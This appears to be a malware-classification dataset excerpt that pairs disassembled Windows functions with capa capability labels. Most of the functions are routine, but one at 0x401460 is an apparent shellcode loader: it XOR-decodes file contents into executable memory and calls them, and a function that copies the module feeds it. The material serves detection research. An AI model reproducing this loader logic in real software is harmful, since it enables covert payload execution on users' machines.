joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c9bc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43d0a0]
jne 0x41c9c6
repz ret
jmp fcn.0041ed1a

Function at 0x42712c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041f89a
and dword [ebp - 4], 0
cmp dword [0x43fd48], 0
mov ebx, eax
jne 0x4271dd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42728e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4326ac
push edi
call esi
test eax, eax
je 0x42728e
push eax
call fcn.0041f828
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43fd48], eax
call esi
push eax
call fcn.0041f828
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43fd4c], eax
call esi
push eax
call fcn.0041f828
mov dword [esp], 0x43266c
push edi
mov dword [0x43fd50], eax
call esi
push eax
call fcn.0041f828
pop ecx
mov dword [0x43fd58], eax
test eax, eax
je 0x4271dd
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041f828
pop ecx
mov dword [0x43fd54], eax
mov eax, dword [0x43fd54]
cmp eax, ebx
je 0x427235
cmp dword [0x43fd58], ebx
je 0x427235
push eax
call fcn.0041f8a3
push dword [0x43fd58]
mov esi, eax
call fcn.0041f8a3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x427235
test edi, edi
je 0x427235
call esi
test eax, eax
je 0x42722c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42722c
test byte [ebp - 0xc], 1
jne 0x427235
or dword [ebp + 0x10], 0x200000
jmp 0x42726e
mov eax, dword [0x43fd4c]
cmp eax, ebx
je 0x42726e
push eax
call fcn.0041f8a3
pop ecx
test eax, eax
je 0x42726e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42726e
mov eax, dword [0x43fd50]
cmp eax, ebx
je 0x42726e
push eax
call fcn.0041f8a3
pop ecx
test eax, eax
je 0x42726e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43fd48]
call fcn.0041f8a3
pop ecx
test eax, eax
je 0x42728e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x427290
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x414dc9
Capabilities:
Encode data using xor

Disassembly:
xor dword [eax], esi
or edi, ebx
sub ebx, 0xeeeb068b
add eax, 4
sub ecx, 1
and ecx, edi
push edi
mov edi, dword [esp]
add esp, 4
cmp eax, edx
jne fcn.00414dc9
Function at 0x401460
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xf40bc
call fcn.0043fe70
mov eax, dword [0x46ab20]
xor eax, esp
mov dword [esp + 0xf40b8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push edi
push 0
push 0
push 0
push 0
mov esi, ecx
call ebx
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x20]
push ecx
push edi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
jbe 0x4014df
xor byte [esp + eax + 0x14], 0x9b
inc eax
cmp eax, esi
jb 0x4014d5
push 0x40
push 0x3000
push 0xf40b0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xf40b0
lea edx, [esp + 0x18]
mov esi, eax
push edx
push esi
call fcn.0043cc40
add esp, 0xc
call dword [0x46ea6c]
push 0
push 0
push 1
push 0
mov edi, eax
call ebx
push 0
push 0
push 0x64
push 0
push esi
mov ebx, eax
push edi
lea eax, [esp + 0x28]
push eax
call dword [0x46eb68]
test eax, eax
je 0x401556
push 0xffffffffffffffff
push ebx
call dword [0x46eb6c]
test eax, eax
je 0x401556
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.0043cfa5
add esp, 8
mov ecx, dword [esp + 0xf40c4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0043c8b5
add esp, 0xf40bc
ret

Function at 0x401570
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
mov eax, dword [0x46ab20]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push 0x23
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
test eax, eax
je 0x4015b4
push ebx
push 0x4592b1
jmp 0x4015cf
lea eax, [esp + 8]
lea edx, [eax + 1]
jmp 0x4015c0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4015c0
sub eax, edx
push eax
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00401cb0
mov ecx, dword [esp + 0x10c]
pop ebx
xor ecx, esp
mov eax, esi
call fcn.0043c8b5
add esp, 0x10c
ret
Function at 0x4015f0
Capabilities:
Copy file

Disassembly:
push 0xffffffffffffffff
push 0x4523c1
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x46ab20]
xor eax, esp
mov dword [esp + 0x164], eax
push ebx
push esi
push edi
mov eax, dword [0x46ab20]
xor eax, esp
push eax
lea eax, [esp + 0x178]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x74]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
cmp eax, ebx
jle 0x401661
mov cl, 0x5c
nop
cmp byte [esp + eax + 0x70], cl
je 0x40165d
dec eax
cmp eax, ebx
jg 0x401650
jmp 0x401661
mov byte [esp + eax + 0x71], bl
mov al, 0x65
mov byte [esp + 0x65], al
mov byte [esp + 0x69], al
mov al, 0x74
lea edx, [esp + 0x64]
mov byte [esp + 0x6b], al
mov byte [esp + 0x6d], al
push edx
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x6c], 0x72
mov byte [esp + 0x6e], 0x61
mov byte [esp + 0x6f], 0x64
mov byte [esp + 0x70], 0x6d
mov byte [esp + 0x72], 0x2e
mov byte [esp + 0x74], 0x78
mov byte [esp + 0x76], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [esp + 0x10]
call fcn.00401570
push eax
lea ecx, [esp + 0x30]
push ecx
mov edi, 0x45ce74
mov dword [esp + 0x188], ebx
call fcn.00402000
push eax
lea edx, [esp + 0x54]
push edx
lea edi, [esp + 0x74]
mov byte [esp + 0x190], 1
call fcn.00402000
add esp, 0x10
mov esi, 0x10
mov byte [esp + 0x180], 3
cmp dword [esp + 0x44], esi
jb 0x401701
mov eax, dword [esp + 0x30]
push eax
call fcn.004025fe
add esp, 4
mov edi, 0xf
mov dword [esp + 0x44], edi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov byte [esp + 0x180], 4
cmp dword [esp + 0x28], esi
jb 0x40172d
mov ecx, dword [esp + 0x14]
push ecx
call fcn.004025fe
add esp, 4
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
cmp dword [esp + 0x60], esi
jae 0x401747
lea eax, [esp + 0x4c]
push ebx
push eax
lea edx, [esp + 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x70]
call fcn.00401460
mov dword [esp + 0x180], 0xffffffff
cmp dword [esp + 0x60], esi
jb 0x40177b
mov eax, dword [esp + 0x4c]
push eax
call fcn.004025fe
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x178]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x164]
xor ecx, esp
call fcn.0043c8b5
add esp, 0x174
ret

Function at 0x4022f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.00418fd6
Function at 0x40d741
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40d788
call fcn.00418526
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40d788
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40d7a4
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040d2bb
mov esi, eax
test edi, edi
je 0x40d7a2
test ebx, ebx
je 0x40d7a2
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40e66f
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4504f3
call fcn.0043db11
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40e694
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40e6da
lea ecx, [ebp - 0x10]
call fcn.00417007
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00402a77
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402b45
mov eax, esi
call fcn.0043dbe9
ret 8

Function at 0x4108db
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 4], ecx
call fcn.00418526
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x410908
xor eax, eax
jmp 0x4109ae
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x410901
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x410901
movzx eax, word [esi + 6]
push ebx
push edi
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004025cf
pop ecx
mov edi, eax
xor ecx, ecx
xor eax, eax
cmp cx, word [esi + 6]
jae 0x41095f
lea ecx, [esi + 8]
movzx edx, word [ecx]
mov dword [edi + eax*4], edx
movzx edx, word [esi + 6]
inc eax
inc ecx
inc ecx
cmp eax, edx
jl 0x41094e
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 4]
push eax
push edi
call fcn.0040f5da
push edi
mov ebx, eax
call fcn.004025fe
pop ecx
test ebx, ebx
je 0x4109a1
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
push ecx
lea esi, [ecx + 7]
mov ecx, dword [ebp - 4]
push eax
lea edx, [eax + 7]
push esi
push edx
call fcn.0040fc8e
push dword [ebp + 8]
mov ecx, dword [ebp - 4]
call fcn.0040fd42
mov ebx, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, ebx
pop ebx
pop esi
leave
ret 4
Function at 0x415598
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4155e0
call fcn.00418526
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4155e0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x415623
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x41560c
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x41560c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x415620
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4176b9
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x4502fd
call fcn.0043db11
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040d0e5
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x41771b
call fcn.00417e00
cmp eax, 1
jne 0x41771b
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00416916
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00403be3
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402b45
mov dword [ebp + 8], SysStringLen
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402b45
mov eax, esi
call fcn.0043dbe9
ret 0x10

Function at 0x417744
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x4502fd
call fcn.0043db11
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040d0e5
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x4177a6
call fcn.00417e00
cmp eax, 1
jne 0x4177a6
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00416916
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00403be3
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402b45
mov dword [ebp + 8], SysStringLen
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402b45
mov eax, esi
call fcn.0043dbe9
ret 0x14
Function at 0x4177d2
Capabilities:
Delete registry key

Disassembly:
push 0
mov eax, 0x4502fd
call fcn.0043db11
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040d0e5
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x417834
call fcn.00417e00
cmp eax, 1
jne 0x417834
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00416916
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00403be3
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402b45
mov dword [ebp + 8], SysStringLen
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402b45
mov eax, esi
call fcn.0043dbe9
ret 8

Function at 0x418f3f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00418526
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x418f78
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00418b90
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x418fd6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x418ffa
cmp dword [edi + 0x54], 0
jne 0x418ffa
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00418526
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00418f97
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x43c8b5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46ab20]
jne 0x43c8bf
repz ret
jmp fcn.004419b1

Function at 0x44a16c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004420f4
and dword [ebp - 4], 0
cmp dword [0x46e9f8], 0
mov ebx, eax
jne 0x44a21d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x44a2ce
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x45b810
push edi
call esi
test eax, eax
je 0x44a2ce
push eax
call fcn.00442082
mov dword [esp], 0x45b800
push edi
mov dword [0x46e9f8], eax
call esi
push eax
call fcn.00442082
mov dword [esp], 0x45b7ec
push edi
mov dword [0x46e9fc], eax
call esi
push eax
call fcn.00442082
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x46ea00], eax
call esi
push eax
call fcn.00442082
pop ecx
mov dword [0x46ea08], eax
test eax, eax
je 0x44a21d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00442082
pop ecx
mov dword [0x46ea04], eax
mov eax, dword [0x46ea04]
cmp eax, ebx
je 0x44a275
cmp dword [0x46ea08], ebx
je 0x44a275
push eax
call fcn.004420fd
push dword [0x46ea08]
mov esi, eax
call fcn.004420fd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x44a275
test edi, edi
je 0x44a275
call esi
test eax, eax
je 0x44a26c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44a26c
test byte [ebp - 0xc], 1
jne 0x44a275
or dword [ebp + 0x10], 0x200000
jmp 0x44a2ae
mov eax, dword [0x46e9fc]
cmp eax, ebx
je 0x44a2ae
push eax
call fcn.004420fd
pop ecx
test eax, eax
je 0x44a2ae
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x44a2ae
mov eax, dword [0x46ea00]
cmp eax, ebx
je 0x44a2ae
push eax
call fcn.004420fd
pop ecx
test eax, eax
je 0x44a2ae
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46e9f8]
call fcn.004420fd
pop ecx
test eax, eax
je 0x44a2ce
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44a2d0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001680
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, esi
mov edx, 0xe3
push edi
mov ecx, dword [eax + 4]
mov edi, dword [eax]
xor edi, ecx
and edi, 0x7ffffffe
xor edi, dword [eax]
and cl, 1
shr edi, 1
sub edx, 1
neg cl
sbb ecx, ecx
and ecx, 0x9908b0df
xor edi, ecx
xor edi, dword [eax + 0x634]
add eax, 4
test edx, edx
mov dword [eax - 4], edi
jne 0x10001688
mov edx, 0x18c
mov ecx, dword [eax + 4]
mov edi, dword [eax]
xor edi, ecx
and edi, 0x7ffffffe
xor edi, dword [eax]
and cl, 1
shr edi, 1
neg cl
sbb ecx, ecx
and ecx, 0x9908b0df
xor edi, ecx
xor edi, dword [eax - 0x38c]
add eax, 4
sub edx, 1
mov dword [eax - 4], edi
jne 0x100016c0
mov ecx, dword [esi]
mov edx, dword [eax]
xor edx, ecx
and edx, 0x7ffffffe
xor edx, dword [eax]
and cl, 1
shr edx, 1
neg cl
pop edi
sbb ecx, ecx
and ecx, 0x9908b0df
xor edx, ecx
xor edx, dword [eax - 0x38c]
mov dword [eax], edx
mov dword [esi + 0x9c4], 0x270
mov dword [esi + 0x9c0], esi
ret

Function at 0x10001730
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, eax
push edi
mov ecx, 1
mov dword [esi], edx
jmp 0x10001740
mov edx, dword [eax]
mov edi, edx
shr edi, 0x1e
xor edi, edx
imul edi, edi, 0x6c078965
add edi, ecx
mov dword [eax + 4], edi
add ecx, 1
add eax, 4
cmp ecx, 0x270
jl 0x10001740
call fcn.10001680
pop edi
pop esi
ret

Function at 0x10001770
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push esi
push edi
mov edi, ebx
shr edi, 1
or edi, ebx
mov esi, eax
mov eax, edi
shr eax, 2
or edi, eax
mov ecx, edi
shr ecx, 4
or edi, ecx
mov edx, edi
shr edx, 8
or edi, edx
mov eax, edi
shr eax, 0x10
or edi, eax
cmp dword [esi + 0x9c4], 0
jne 0x100017a4
call fcn.10001680
mov eax, dword [esi + 0x9c0]
add dword [esi + 0x9c4], 0xffffffff
mov ecx, dword [eax]
add eax, 4
mov edx, ecx
shr edx, 0xb
xor ecx, edx
mov dword [esi + 0x9c0], eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov edx, ecx
and edx, 0xffffdf8c
shl edx, 0xf
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
and eax, edi
cmp eax, ebx
ja 0x10001796
pop edi
pop esi
ret
Function at 0x402370
Capabilities:
Access the windows event log

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41157d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x28
mov eax, dword [0x41a040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x30], ecx
push 0x415168
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov dword [ebp - 0x38], eax
xorps xmm0, xmm0
xor eax, eax
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
push 0x28
push str.Description:_A_.NET_application_failed._n
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], eax
call fcn.00405790
push 0xd
push str.Application:
lea ecx, [ebp - 0x2c]
call fcn.00405790
mov ecx, esi
lea edi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x402404
sub ecx, edi
sar ecx, 1
push ecx
push esi
mov ecx, eax
call fcn.00405790
push 1
push 0x415164
mov ecx, eax
call fcn.00405790
push 6
push str.Path:
lea ecx, [ebp - 0x2c]
call fcn.00405790
mov esi, eax
mov eax, dword [ebp - 0x30]
mov edx, eax
lea edi, [edx + 2]
mov cx, word [edx]
add edx, 2
test cx, cx
jne 0x402443
sub edx, edi
mov ecx, esi
sar edx, 1
push edx
push eax
call fcn.00405790
push 1
push 0x415164
mov ecx, eax
call fcn.00405790
push 9
push str.Message:
lea ecx, [ebp - 0x2c]
call fcn.00405790
cmp dword [0x41a548], 7
mov ecx, 0x41a534
push dword [0x41a544]
cmova ecx, dword [0x41a534]
push ecx
mov ecx, eax
call fcn.00405790
push 1
push 0x415164
mov ecx, eax
call fcn.00405790
cmp dword [ebp - 0x18], 7
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x38]
cmova eax, dword [ebp - 0x2c]
push 0
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
push eax
push 0
push 1
push 0
push 0x3ff
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov ecx, dword [ebp - 0x18]
cmp ecx, 7
jbe 0x402517
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40250d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40250d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040e213
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040e205
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret